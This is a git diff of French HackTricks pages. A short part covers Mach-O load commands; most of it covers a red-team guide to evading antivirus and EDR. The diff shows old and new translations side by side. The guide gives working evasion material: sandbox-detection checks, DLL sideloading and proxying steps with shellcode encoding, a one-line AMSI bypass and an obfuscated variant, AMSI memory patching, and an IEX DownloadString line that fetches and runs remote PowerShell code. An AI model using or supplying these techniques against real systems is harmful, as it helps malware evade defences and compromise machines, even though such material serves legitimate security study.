Essentiellement, ce type de commande de chargement définit **comment charger les sections** qui sont stockées dans DATA lorsque le binaire est exécuté.
Essentiellement, ce type de commande de chargement définit **comment charger les segments \_\_TEXT** (code exécutable) **et \_\_DATA** (données du processus) **en fonction des décalages indiqués dans la section Données** lorsque le binaire est exécuté.
{% endhint %}
Ces commandes **définissent des segments** qui sont **mappés** dans l'espace **mémoire virtuelle** d'un processus lorsqu'il est exécuté.
Il existe **différents types** de segments, tels que le segment **\_\_TEXT**, qui contient le code exécutable d'un programme, et le segment **\_\_DATA**, qui contient les données utilisées par le processus. Ces **segments sont situés dans la section des données** du fichier Mach-O.
Il existe **différents types** de segments, tels que le segment **\_\_TEXT**, qui contient le code exécutable d'un programme, et le segment **\_\_DATA**, qui contient les données utilisées par le processus. Ces **segments sont situés dans la section Données** du fichier Mach-O.
**Chaque segment** peut être **divisé** en plusieurs **sections**. La structure de la commande de chargement contient des **informations** sur **ces sections** dans le segment correspondant.
@ -205,12 +205,12 @@ Segments communs chargés par cette commande :
* **`__PAGEZERO`** : Il indique au noyau de **mapper** l'**adresse zéro** de sorte qu'elle **ne puisse pas être lue, écrite ou exécutée**. Les variables maxprot et minprot dans la structure sont définies à zéro pour indiquer qu'il n'y a **aucun droit de lecture-écriture-exécution sur cette page**.
* Cette allocation est importante pour **atténuer les vulnérabilités de référence de pointeur NULL**.
* **`__TEXT`** : Contient du **code exécutable** et des **données en lecture seule**. Sections courantes de ce segment :
* **`__TEXT`** : Contient du **code exécutable** avec des permissions de **lecture** et d'**exécution** (pas d'écriture). Sections courantes de ce segment :
* `__text` : Code binaire compilé
* `__const` : Données constantes
* `__cstring` : Constantes de chaîne
* `__stubs` et `__stubs_helper` : Impliqués lors du processus de chargement de bibliothèque dynamique
* **`__DATA`** : Contient des données **modifiables**.
* **`__DATA`** : Contient des données **lisibles** et **modifiables** (non exécutables).
* `__data` : Variables globales (qui ont été initialisées)
* `__bss` : Variables statiques (qui n'ont pas été initialisées)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc) : Informations utilisées par le runtime Objective-C
@ -228,7 +228,7 @@ Cependant, vous pouvez trouver des informations sur cette section dans [**cet ar
### **LC\_LOAD\_DYLINKER**
Contient le **chemin vers l'exécutable du lien dynamique** qui mappe les bibliothèques partagées dans l'espace d'adressage du processus. La **valeur est toujours définie sur `/usr/lib/dyld`**. Il est important de noter que dans macOS, le mappage dylib se fait en **mode utilisateur**, et non en mode noyau.
Contient le **chemin d'accès à l'exécutable du lien dynamique** qui mappe les bibliothèques partagées dans l'espace d'adressage du processus. La **valeur est toujours définie sur `/usr/lib/dyld`**. Il est important de noter que dans macOS, le mappage dylib se fait en **mode utilisateur**, et non en mode noyau.
### **`LC_LOAD_DYLIB`**
@ -275,7 +275,7 @@ Les offsets de tous les constructeurs sont stockés dans la section **\_\_mod\_i
Le cœur du fichier est la région finale, les données, qui se composent de plusieurs segments tels qu'ils sont disposés dans la région des commandes de chargement. **Chaque segment peut contenir plusieurs sections de données**. Chacune de ces sections **contient du code ou des données** d'un type particulier.
{% hint style="success" %}
Les données sont essentiellement la partie contenant toutes les informations chargées par les commandes de chargement LC\_SEGMENTS\_64.
Les données sont essentiellement la partie contenant toutes les **informations** qui sont chargées par les commandes de chargement **LC\_SEGMENTS\_64**.
{% endhint %}
![](<../../../.gitbook/assets/image (507) (3).png>)

264
windows-hardening/av-bypass.md
View file

@ -1,85 +1,85 @@
# Contournement d'antivirus (AV)
# Contournement des antivirus (AV)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Cette page a été écrite par** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
**Cette page a été rédigée par** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
## **Méthodologie d'évasion d'AV**
## **Méthodologie de contournement des AV**
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non, la détection statique, l'analyse dynamique et pour les EDR plus avancés, l'analyse comportementale.
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non, la détection statique, l'analyse dynamique et, pour les EDR plus avancés, l'analyse comportementale.
### **Détection statique**
La détection statique est réalisée en signalant les chaînes ou les tableaux de bytes malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, la description du fichier, le nom de l'entreprise, les signatures numériques, l'icône, la somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe plusieurs façons de contourner ce type de détection :
La détection statique est réalisée en repérant des chaînes de caractères ou des tableaux d'octets malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, la description du fichier, le nom de l'entreprise, les signatures numériques, l'icône, la somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et identifiés comme malveillants. Il existe quelques moyens de contourner ce type de détection :
* **Chiffrement**
Si vous chiffrez le binaire, il n'y aura aucun moyen pour l'AV de détecter votre programme, mais vous aurez besoin d'un chargeur pour décrypter et exécuter le programme en mémoire.
Si vous chiffrez le binaire, l'AV ne pourra pas détecter votre programme, mais vous aurez besoin d'un chargeur pour décrypter et exécuter le programme en mémoire.
* **Obscurcissement**
* **Obfuscation**
Parfois, il suffit de changer quelques chaînes dans votre binaire ou script pour le faire passer devant l'AV, mais cela peut être une tâche chronophage en fonction de ce que vous essayez d'obscurcir.
Parfois, il suffit de modifier quelques chaînes de caractères dans votre binaire ou votre script pour le faire passer devant l'AV, mais cela peut être une tâche longue selon ce que vous essayez d'obfusquer.
* **Outils personnalisés**
Si vous développez vos propres outils, il n'y aura pas de signatures malveillantes connues, mais cela prend beaucoup de temps et d'efforts.
Si vous développez vos propres outils, il n'y aura pas de signatures malveillantes connues, mais cela demande beaucoup de temps et d'efforts.
{% hint style="info" %}
Une bonne façon de vérifier la détection statique de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments, puis demande à Defender de scanner chacun d'eux individuellement, de cette façon, il peut vous dire exactement quelles sont les chaînes ou les bytes signalés dans votre binaire.
Une bonne façon de vérifier la détection statique de Windows Defender est d'utiliser [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments, puis demande à Defender de scanner chacun individuellement, de cette façon, il peut vous dire exactement quelles sont les chaînes de caractères ou les octets repérés dans votre binaire.
{% endhint %}
Je vous recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion pratique d'AV.
Je vous recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion pratique des AV.
### **Analyse dynamique**
L'analyse dynamique consiste à exécuter votre binaire dans un bac à sable et à surveiller les activités malveillantes (par exemple, essayer de décrypter et de lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus difficile à travailler, mais voici quelques choses que vous pouvez faire pour éviter les bac à sable.
L'analyse dynamique consiste à exécuter votre binaire dans un environnement isolé et à surveiller les activités malveillantes (par exemple, essayer de décrypter et de lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus difficile à gérer, mais voici quelques choses que vous pouvez faire pour échapper aux environnements isolés.
* **Dormir avant l'exécution** Selon la façon dont il est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont très peu de temps pour scanner les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longues pauses peut perturber l'analyse des binaires. Le problème est que de nombreux bac à sable AV peuvent simplement sauter la pause en fonction de la façon dont elle est implémentée.
* **Vérification des ressources de la machine** Les bac à sable ont généralement très peu de ressources à utiliser (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses du ventilateur, tout ne sera pas implémenté dans le bac à sable.
* **Vérifications spécifiques à la machine** Si vous voulez cibler un utilisateur dont la station de travail est jointe au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme.
* **Attente avant l'exécution** Selon la façon dont elle est implémentée, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV disposent d'un temps très court pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longues attentes peut perturber l'analyse des binaires. Le problème est que de nombreux environnements isolés des AV peuvent simplement ignorer l'attente en fonction de la façon dont elle est implémentée.
* **Vérification des ressources de la machine** Les environnements isolés ont généralement très peu de ressources à leur disposition (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du processeur ou même la vitesse des ventilateurs, tout ne sera pas implémenté dans l'environnement isolé.
* **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont le poste de travail est connecté au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme.
Il s'avère que le nom d'ordinateur du bac à sable de Microsoft Defender est HAL9TH, donc vous pouvez vérifier le nom de l'ordinateur dans votre malware avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du bac à sable de Defender, vous pouvez donc faire sortir votre programme.
Il s'avère que le nom de l'ordinateur du sandbox de Microsoft Defender est HAL9TH, donc vous pouvez vérifier le nom de l'ordinateur dans votre logiciel malveillant avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du sandbox de Defender, vous pouvez donc faire sortir votre programme.
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Quelques autres bons conseils de [@mgeeky](https://twitter.com/mariuszbit) pour lutter contre les bac à sable
Voici quelques autres conseils très utiles de [@mgeeky](https://twitter.com/mariuszbit) pour lutter contre les environnements isolés.
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
Comme nous l'avons dit précédemment dans ce post, les **outils publics** seront éventuellement **détectés**, donc, vous devriez vous poser une question :
Comme nous l'avons dit précédemment dans cet article, les **outils publics** seront éventuellement **détectés**, donc vous devriez vous poser une question :
Par exemple, si vous voulez vider LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un autre projet moins connu qui vide également LSASS.
Par exemple, si vous voulez extraire LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un autre projet moins connu qui extrait également LSASS.
La bonne réponse est probablement la seconde. En prenant mimikatz comme exemple, c'est probablement l'un, sinon le malware le plus signalé par les AV et les EDR, alors que le projet lui-même est super cool, c'est aussi un cauchemar pour travailler avec lui pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.
La bonne réponse est probablement la deuxième option. Prenons l'exemple de mimikatz, c'est probablement l'un, voire le logiciel malveillant le plus repéré par les AV et les EDR, bien que le projet lui-même soit très cool, il est également très difficile de travailler avec pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez de réaliser.
{% hint style="info" %}
Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique d'échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS TÉLÉCHARGER SUR VIRUSTOTAL** si votre objectif est d'atteindre l'évasion à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique d'échantillons et testez-le là-bas jusqu'à ce que vous soyez satisfait du résultat.
Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique des échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS LES METTRE SUR VIRUSTOTAL** si votre objectif est d'atteindre l'évasion à long terme. Si vous souhaitez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une machine virtuelle, essayez de désactiver la soumission automatique des échantillons et testez-le jusqu'à ce que vous soyez satisfait du résultat.
{% endhint %}
## EXEs vs DLLs
Chaque fois que c'est possible, **priorisez l'utilisation de DLL pour l'évasion**, dans mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, donc c'est un truc très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a un moyen de s'exécuter en tant que DLL bien sûr).
Chaque fois que c'est possible, **priorisez toujours l'utilisation de DLL pour l'évasion**, d'après mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, c'est donc un truc très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile peut s'exécuter en tant que DLL bien sûr).
Comme nous pouvons le voir sur cette image, une charge utile DLL de Havoc a un taux de détection de 4/26 dans antiscan.me, tandis que la charge utile EXE a un taux de détection de 7/26.
Comme nous pouvons le voir sur cette image, une charge utile DLL de Havoc a un taux de détection de 4/26 sur antiscan.me, tandis que la charge utile EXE a un taux de détection de 7/26.
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>Comparaison de antiscan.me d'une charge utile Havoc EXE normale par rapport à une charge utile Havoc DLL normale</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>Comparaison sur antiscan.me d'une charge utile Havoc EXE normale par rapport à une charge utile Havoc DLL normale</p></figcaption></figure>
Maintenant, nous allons montrer quelques astuces que vous pouvez utiliser avec des fichiers DLL pour être beaucoup plus discret.
Maintenant, nous allons vous montrer quelques astuces que vous pouvez utiliser avec les fichiers DLL pour être beaucoup plus discret.
## DLL Sideloading & Proxying
**Le DLL Sideloading** profite de l'ordre de recherche de DLL utilisé par le chargeur en positionnant à la fois l'application victime et les charges utiles malveillantes côte à côte.
**Le sideloading de DLL** profite de l'ordre de recherche des DLL utilisé par le chargeur en positionnant à la fois l'application victime et les charges utiles malveillantes côte à côte.
Vous pouvez vérifier les programmes susceptibles de DLL Sideloading en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script powershell suivant:
Vous pouvez vérifier les programmes susceptibles d'être victimes de sideloading de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script PowerShell suivant :
{% code overflow="wrap" %}
```powershell
@ -90,17 +90,17 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
Cette commande affichera la liste des programmes susceptibles de subir une attaque de détournement de DLL à l'intérieur de "C:\Program Files\\" et les fichiers DLL qu'ils essaient de charger.
Cette commande affichera la liste des programmes susceptibles de subir une attaque de détournement de DLL dans "C:\Program Files\\" et les fichiers DLL qu'ils essaient de charger.
Je vous recommande vivement d'**explorer vous-même les programmes DLL Hijackable/Sideloadable**, cette technique est assez furtive si elle est bien faite, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pouvez être facilement repéré.
Je vous recommande vivement d'**explorer vous-même les programmes DLL Hijackable/Sideloadable**, cette technique est assez furtive si elle est correctement utilisée, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pourriez être facilement repéré.
Le simple fait de placer une DLL malveillante avec le nom qu'un programme s'attend à charger ne chargera pas votre charge utile, car le programme s'attend à certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **DLL Proxying/Forwarding**.
Le simple fait de placer une DLL malveillante avec le nom qu'un programme s'attend à charger ne chargera pas votre charge utile, car le programme s'attend à trouver certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **DLL Proxying/Forwarding**.
**DLL Proxying** transfère les appels qu'un programme effectue à partir de la DLL proxy (et malveillante) à la DLL d'origine, préservant ainsi la fonctionnalité du programme et permettant de gérer l'exécution de votre charge utile.
**DLL Proxying** redirige les appels qu'un programme effectue depuis la DLL proxy (et malveillante) vers la DLL d'origine, préservant ainsi la fonctionnalité du programme et permettant d'exécuter votre charge utile.
Je vais utiliser le projet [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
J'utiliserai le projet [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
Voici les étapes que j'ai suivies:
Voici les étapes que j'ai suivies :
{% code overflow="wrap" %}
```
@ -109,9 +109,7 @@ Voici les étapes que j'ai suivies:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
{% endcode %}
La dernière commande nous donnera 2 fichiers: un modèle de code source DLL et la DLL renommée d'origine.
Le dernier commande nous donnera 2 fichiers: un modèle de code source DLL et la DLL renommée d'origine.
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -125,17 +123,17 @@ Voici les résultats :
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) et le proxy DLL ont tous les deux un taux de détection de 0/26 dans [antiscan.me](https://antiscan.me)! Je considère cela comme un succès.
Notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) ainsi que le DLL proxy ont un taux de détection de 0/26 sur [antiscan.me](https://antiscan.me) ! Je dirais que c'est un succès.
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Je vous recommande **vivement** de regarder la VOD de [S3cur3Th1sSh1t sur Twitch](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et également la vidéo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) pour en savoir plus sur ce que nous avons discuté en détail.
Je vous recommande **vivement** de regarder la diffusion en direct de [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading ainsi que la vidéo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) pour en savoir plus sur ce que nous avons discuté en détail.
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze est une boîte à outils de payload pour contourner les EDR en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives`
`Freeze est une boîte à outils de charge utile permettant de contourner les EDR en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives`
Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière furtive.
```
@ -147,12 +145,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
L'évasion est juste un jeu du chat et de la souris, ce qui fonctionne aujourd'hui pourrait être détecté demain, donc ne comptez jamais sur un seul outil, si possible, essayez de chaîner plusieurs techniques d'évasion.
L'évasion est juste un jeu du chat et de la souris, ce qui fonctionne aujourd'hui peut être détecté demain, donc ne vous fiez jamais à un seul outil, si possible, essayez de combiner plusieurs techniques d'évasion.
{% endhint %}
## AMSI (Interface de numérisation anti-programme malveillant)
AMSI a été créé pour empêcher les "malwares sans fichier". Initialement, les antivirus étaient capables de scanner uniquement les fichiers sur le disque, donc si vous pouviez somehow exécuter des charges utiles directement en mémoire, l'antivirus ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité.
AMSI a été créé pour prévenir les "[malwares sans fichier](https://en.wikipedia.org/wiki/Fileless\_malware)". Initialement, les antivirus étaient capables de scanner uniquement les **fichiers sur le disque**, donc si vous pouviez somehow exécuter des charges utiles **directement en mémoire**, l'antivirus ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité.
La fonctionnalité AMSI est intégrée à ces composants de Windows.
@ -162,37 +160,41 @@ La fonctionnalité AMSI est intégrée à ces composants de Windows.
* JavaScript et VBScript
* Macros Office VBA
Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu du script sous une forme à la fois non cryptée et non obscurcie.
Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu des scripts sous une forme à la fois non chiffrée et non obfusquée.
L'exécution de `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produira l'alerte suivante sur Windows Defender.
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
Remarquez comment il ajoute `amsi:` et ensuite le chemin de l'exécutable à partir duquel le script a été exécuté, dans ce cas, powershell.exe
Remarquez comment il ajoute `amsi:` puis le chemin vers l'exécutable à partir duquel le script s'est exécuté, dans ce cas, powershell.exe
Nous n'avons pas déposé de fichier sur le disque, mais nous avons été détectés en mémoire à cause d'AMSI.
Nous n'avons pas déposé de fichier sur le disque, mais nous avons quand même été détectés en mémoire à cause d'AMSI.
Il y a quelques façons de contourner AMSI :
Il existe quelques façons de contourner AMSI :
* **Obscurcissement**
* **Obfuscation**
Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être une bonne façon d'éviter la détection.
Étant donné qu'AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être un bon moyen d'éviter la détection.
Cependant, AMSI a la capacité de désobfusquer les scripts même s'ils ont plusieurs couches, donc l'obscurcissement pourrait être une mauvaise option en fonction de la façon dont il est fait. Cela le rend pas si simple à éviter. Bien que parfois, tout ce que vous avez à faire est de changer quelques noms de variables et vous serez bon, donc cela dépend de la quantité de quelque chose qui a été signalée.
Cependant, AMSI a la capacité de désobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option en fonction de la manière dont elle est réalisée. Cela rend l'évasion pas si simple. Cependant, parfois, il suffit de changer quelques noms de variables et vous serez tranquille, donc cela dépend de la quantité de signalement.
* **Contournement d'AMSI**
Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en tant qu'utilisateur non privilégié. En raison de cette faille dans la mise en œuvre d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter la numérisation AMSI.
Étant donné qu'AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en tant qu'utilisateur non privilégié. En raison de cette faille dans la mise en œuvre d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter la numérisation AMSI.
**Forcer une erreur**
Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) fera en sorte qu'aucune numérisation ne sera lancée pour le processus en cours. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large.
Forcer l'échec de l'initialisation d'AMSI (amsiInitFailed) fera en sorte qu'aucune numérisation ne soit lancée pour le processus en cours. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large.
{% code overflow="wrap" %}
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Tout ce qu'il a fallu, c'est une ligne de code PowerShell pour rendre AMSI inutilisable pour le processus PowerShell actuel. Cette ligne a bien sûr été signalée par AMSI lui-même, donc certaines modifications sont nécessaires pour utiliser cette technique.
{% endcode %}
Voici une technique de contournement AMSI modifiée que j'ai prise de ce [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Tout ce qu'il a fallu, c'est une seule ligne de code PowerShell pour rendre AMSI inutilisable pour le processus PowerShell actuel. Cette ligne a bien sûr été repérée par AMSI lui-même, donc certaines modifications sont nécessaires pour utiliser cette technique.
Voici une version modifiée de la contournement d'AMSI que j'ai trouvée dans ce [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -206,11 +208,9 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Gardez à l'esprit que cela sera probablement signalé une fois que ce post sera publié, donc vous ne devriez pas publier de code si votre plan est de rester indétectable.
**Patching de la mémoire**
**Patching de mémoire**
Cette technique a été découverte initialement par [@RastaMouse](https://twitter.com/\_RastaMouse/) et elle consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de la numérisation de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions pour renvoyer le code pour E\_INVALIDARG, de cette façon, le résultat de la numérisation réelle renverra 0, qui est interprété comme un résultat propre.
Cette technique a été découverte initialement par [@RastaMouse](https://twitter.com/\_RastaMouse/) et elle consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions renvoyant le code E\_INVALIDARG. Ainsi, le résultat de l'analyse réelle renverra 0, ce qui sera interprété comme un résultat propre.
{% hint style="info" %}
Veuillez lire [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) pour une explication plus détaillée.
@ -220,29 +220,29 @@ Il existe également de nombreuses autres techniques utilisées pour contourner
## Obfuscation
Il existe plusieurs outils qui peuvent être utilisés pour **obfusquer le code clair C#**, générer des **modèles de méta-programmation** pour compiler des binaires ou **obfusquer des binaires compilés** tels que :
Il existe plusieurs outils qui peuvent être utilisés pour **obfusquer le code C# en clair**, générer des **modèles de méta-programmation** pour compiler des binaires ou **obfusquer des binaires compilés**, tels que :
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Obfuscateur C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator) : Le but de ce projet est de fournir une fourchette open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable de fournir une sécurité logicielle accrue grâce à l'[obfuscation de code](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) et à la protection contre la manipulation.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator) : ADVobfuscator démontre comment utiliser le langage `C++11/14` pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.
* [**obfy**](https://github.com/fritzone/obfy) : Ajoutez une couche d'opérations obfusquées générées par le cadre de méta-programmation de modèles C++ qui rendra la vie de la personne voulant craquer l'application un peu plus difficile.
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator) : L'objectif de ce projet est de fournir une version open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable de garantir une sécurité logicielle accrue grâce à l'obfuscation du code et à la protection contre les manipulations.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator) : ADVobfuscator montre comment utiliser le langage `C++11/14` pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.
